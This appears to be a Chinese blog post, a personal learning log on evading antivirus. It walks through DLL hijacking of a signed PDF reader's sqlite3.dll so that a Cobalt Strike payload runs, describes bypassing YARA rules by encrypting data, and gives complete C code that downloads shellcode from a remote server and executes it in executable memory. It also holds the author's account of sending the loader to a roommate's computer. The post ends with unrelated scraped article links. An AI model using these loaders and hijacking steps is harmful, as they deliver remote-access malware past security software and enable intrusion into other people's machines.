00-DLL劫持&C语言远程加载shellcode
0x01 杀软拦截检测规则引导-DLL劫持上线
准备工具
cs
vs2019
dll劫持工具:https://bbs.pediy.com/thread-224408.htm
极速PDF:https://jisupdf.com/zh-cn/pdf-reader.html#reader
简单说明:
在火绒开启的时候,CS马会被杀。生成和准备执行时都会被杀(下图就是启动被杀)
考虑在开机启动项中添加一个恶意启动程序(1.exe),但是会因为1.exe程序没有签名而允许添加;故而cs马也不会被执行。
于是考虑添加一个有签名认证的程序(极速pdf.exe),通过dll劫持方式,使得在加载运行极速PDF的时候,执行恶意dll文件,绕过火绒,从而上线
复现:
通过cs生成一个payload
选择C和一个侦听器
生成一个paylaod.c文件(这是昨天生成的)
在vs2019中起一个项目,将payload.c中的信息复制粘贴过去
开始编辑:
#pragma comment(linker,"/section:.data,RWE")
/* length: 796 bytes */
unsigned char buf[] = "你的buf";
void main() {
_asm {
lea exa,buf
call exa
/// <summary>
/// 取buf地址,放到exa寄存器
/// 接着调用exa寄存器
///
/// buf是放在数据区的,buf的属性在p文件中是只读,不可以执行的
/// 需要显示的它执行,所以有语句
/// #pragma comment(linker,"/section:.data,RWE")
/// </summary>
}
}
接着开始运行,预期效果是,被火绒拦截不能上线,在关闭火绒的条件下生成成功,运行之后上线
接下来使用使用dll劫持工具,劫持极速pdf的sqlite3.dll
说明:
1. 将sqlite3.dll改成sqlite3Org.dll,原本程序还是会走sqlite.dll(稍后生成),通过sqlite3.dll进行上线,同时进入sqlite3Org.dll保证程序功能正常
2. 工具有问题不能生成sqlite3.cpp,但是可以把右边的文件cv到sqlte3.cpp
再接下来,依旧关闭火绒,在vs2019中生成一个dll文件;
默认创建就好;
用sqlite3.cpp的内容,覆盖掉dllmain.cpp文件,并且添加#include "pch.h"
然后在下边的入口点进行加载
unsigned char buf[] = "你的buf";
void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT,PAGE_EXECUTE_READWRITE);
//利用win32内存分配函数分配内存,用PAGE_EXECUTE_READWRITE设置内存也属性为读写
memcpy(exec, buf, sizeof(buf));//分配好内存之后,将buf内容拷贝到内存中
CreateThread(0, 0, LPTHREAD_START_ROUTINE(exec),0,0,0); //创建shellcode线程,将buf的修改为线程类型
//前两个参数默认为0就行,然后给可执行内存的地址,因为目前只是地址将其转换为线程函数,它没有参数,所以其它的给0
选择realse模式,然后生成
将sqlite3.dll命名为sqliteOrg.dll,再将release中的dll1.dll重命名为sqlite3.dll
接着开启火绒
这一开火绒就把之前生成的那个预期上线的exe杀了;
返回cs,
点击极速pdf.exe
上线成功
总结:
1.在启动项中加一个被劫持dll的有签名的软件,这样可以绕过防火墙
2.在生成恶意dll文件时,还是需要关闭防火墙,虽然在创建的时候会被杀,但是创建好了,在劫持的时候不会被杀
3.但是晚上开了个PDF文件,恰好用极速pdf打开,被拦截了
4.但是,重新生成,打开火绒,点击pdf文件,上线了。。。。
0x02 yara规则匹配
工具准备
yara git:https://github.com/virustotal/yara/releases/tag/v4.2.3
规则 https://zhuanlan.zhihu.com/p/361359544
IDA,由于没找到IDA复现不算圆满
简单demo
恶意代码规则:https://github.com/Yara-Rules/rules
总结
1. 匹配特征值(用IDA找特征值,通过特征值进行匹配)
2. 绕过:将数据进行加密,使用时进行动态解密(基于yara的匹配都是黑名单)
0x03 远程加载shellcodeBypass
简单说明
将shellcode放到服务器,通过socket,或者是windows库提供的http库下载下来,加载到内存中运行,将shellcode放到其他地方,可以绕过大部分杀软
复现
在DLL劫持的时候,生成了一个paylaod.c文件;将payload.c文件复制粘贴重命名为shellcode.c文件,并且,将shellcode.c文件中的除字符内容删除,如图:
将shellcode.c文件上传到vps中,确保能够访问
接下来在vs2019中起一个项目,将下列代码粘贴到源文件.cpp
#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#pragma comment(lib,"WinInet.lib")
char* GetUrlPage(const char* URL, const char* SubPath) {
HINTERNET hInternet, hConnect, hRequest = NULL;
DWORD dwOpenRequestFlags, dwRet = 0;
unsigned char* pResponseHeaderIInfo = NULL;
DWORD dwResponseHeaderIInfosize = 2048;
BYTE* pBuf = NULL;
DWORD dwBufSize = 64 * 2048;
hInternet = InternetOpenA("WinInerGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
hConnect = InternetConnectA(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);
if (NULL == hConnect)
return NULL;
dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;
hRequest = HttpOpenRequestA(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);
HttpSendRequest(hRequest, NULL, 0, NULL, 0);
pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfosize];
RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfosize);
HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfosize, NULL);
pBuf = new BYTE[dwBufSize];
RtlZeroMemory(pBuf, dwBufSize);
InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
return(char*)pBuf;
}
void main() {
char* shellcode = GetUrlPage("vps_ip", "/shellcode.c");
printf("%s in", shellcode);
int shellcode_length = strlen(shellcode);
unsigned char* value = (unsigned char*)calloc(shellcode_length/2, sizeof(unsigned char));
for (size_t count = 0; count < shellcode_length/2; count++) {
sscanf_s(shellcode,"%2hhx",&value[count]);
shellcode += 2;
}
void* exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec,value,shellcode_length / 2);
((void(*)())exec)();
}
接着,针对生成的exe文件用火绒杀毒
双击exe文件,上线主机成功
总结
加载vps中的恶意代码到本机来执行
嘶,直接把exe发舍友电脑了,但是被definder拦截了,并且执行还报dll缺失的错误
https://blog.csdn.net/weixin_45981481/article/details/113524640
在vs2019中下插件搞,但是依旧不行,哇,难受啊
吐了今天走的弯路属于是走到姥姥家了,先是报不可识别,一个一个排除了中文编码,又开始排大小写变量名,接着是格式错误,然后是gcc,g++编码报错,紧接着使用devcpp来编译,依旧报错,加了个命令之后倒是解决了,但是上不了线,是真的难受,而且下插件又步骤多;最后是放弃了,vs2019的插件打包出来的还是不能上线,也有可能是我打包错了,要是有师傅会的话,踢我一脚,我就来学
全篇总结
目前先写两个简单案例,学汇编去了,不懂汇编,什么hook,什么脱钩,都不懂
果然汇编是绕不过的;
还是得多交流,不交流不行,学什么,怎么学,要什么基础都不知道,怎么学?
还有就是别听说难学,有层心理障碍很是南蚌
00-DLL劫持&C语言远程加载shellcode的更多相关文章
- 动态加载 ShellCode绕过杀软
反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...
- 在Unity中创建可远程加载的.unity3d包
在一个Unity项目中,发布包本身不一定要包括所有的Asset(译为资产或组件),其它的部分可以单独发布为.unity3d,再由程序从本地/远程加载执行,这部分不在本文讨论范围.虽然Unity并没有直 ...
- Ext2.0之Tabpanel AJAX远程加载多标签页面模式开发技巧
目前开发的方式是采用远程load页面来实现多页面效果,类似于126邮箱多标签页效果.但是比126邮箱的方式更好,因为页面打开后是load到本地的,126似乎还会重新请求.在近期项目该开发方式已经基本成 ...
- CSS远程加载字体
CSS 远程加载字体的方法,做网站CSS的都知道,用户浏览网站时,网页上的字体是加载本地的.换言之,如果网站使用了用户电脑所没有安装的字体,那显示字体就会被默认字体所代替了,自然效果就大受影响了. 上 ...
- bootstrap模态框远程加载网页的正确处理方式
bootstrap模态框远程加载网页的方法 在bootsrap模态框文档里给出了这个方法: 使用链接模式 <a data-toggle="modal" href=" ...
- Bootstrap Modal 使用remote从远程加载内容
Bootstrap的Modal这个模态窗组件还是很好用的,但在开发的过程中模态窗中的内容大部分都是从后端加载的.要实现模态窗的内容是从后端加载话,常用的实现方式有2种.它们是: (1) ...
- DLL动态库多次加载问题
原因涉及DLL加载和运行机制,主要有两点:1)DLL动态链接库无法独立运行,必须由一个应用程序进程加载到进程空间后才能使用.加载DLL的进程称为宿主进程.被加载的DLL属于宿主进程,不属于宿主进程内某 ...
- 钓鱼攻击之远程加载恶意Word模版文件上线CS
0x00 前言 利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器请求恶意模板并执行恶意模板上的恶意代码.这里 ...
- Python内存加载shellcode
生成 首先生成一个测试的msf shellcode msfvenom -p windows/x64/exec CMD=calc.exe -f python 把其中的shellcode复制出来留待待会使 ...
- 建立WIN32 DLL,并使用静态加载和动态加载
新建工程,选择win32 dll 编写.cpp(或.c) MyDll.cpp #include "windows.h" BOOL APIENTRY DllMain(HANDLE h ...
随机推荐
- 关于虚拟机使用桥接网络访问不到物理机IP的问题解决
问题描述 物理机可以ping 到虚拟机IP,虚拟机 ping 不到物理机IP 解决方法 关闭物理机防火墙,重启虚拟机
- c++学习笔记(入门)
1 struct和class的区别 struct成员变量(成员函数)的访问属性缺省的情况下默认为public. class成员变量(成员函数)的访问属性缺省的情况下默认为private. 2 初始化列 ...
- postman的运用
链接: https://pan.baidu.com/s/1gfaKoAv 密码: dp7t 最近要测试和其他系统对接,忽然想起了postman这款url测试神器. 现分享如下: 下载完成后解压到文件夹 ...
- 产生10个1-20以内的随机数,要求不能重复(集合)Java
public class Demo{ //产生10个1-20以内的随机数,要求不能重复 public static void main(String[] args){ //新建集合存放随机数 Set& ...
- 【离线数仓CDH版本】即席查询工具(Presto、Druid、Kylin)、CDH数仓、Impala查询
1.即席查询 一.Presto 大数据量.秒级.多数据源的查询引擎[支持各种数据源work的内存级查询] 由coordinator和多个work构成,work对应不同数据源Catalog 特点:基于内 ...
- O-MVLL代码混淆方式
在介绍O-MVLL之前,首先介绍什么是代码混淆以及基于LLVM的代码混淆,O-MVLL项目正是基于此而开发来的. 有关O-MVLL的概括介绍以及安装和基本使用方式,可参见另一篇随笔 https://w ...
- Logseq001笔记类--视频悬浮插件--Helium
这是我准备新开的学习记录系列之一 今天写一个插件的介绍吧-- Helium -- 视频悬浮插件 youtube/b站/本地视频都可以导入 主要功能就是你在看视频时,要记一些学习笔记,随着不断往下写,视 ...
- idea里面连接数据库进行sql操作
常用写法 1. private static void test01() throws ClassNotFoundException, SQLException{ Class.forName(&quo ...
- [C++]const_cast,dynamic_cast,reinterpret_cast,static_cast转型
C++四种新式转型: const_cast(expression) dynamic_cast(expression) reinterpret_cast(expression) static_cast( ...
- [cocos2d-x]飞机大战 遇到的bug和总结(二)
第一点 声音文件最好不要使用mp3格式,因为我在同时使用背景音乐和playeffect()的时候,出现了bug,两者的音效不能同时出现(应该是格式问题),并且声音在windows上运行的时候加载非常慢 ...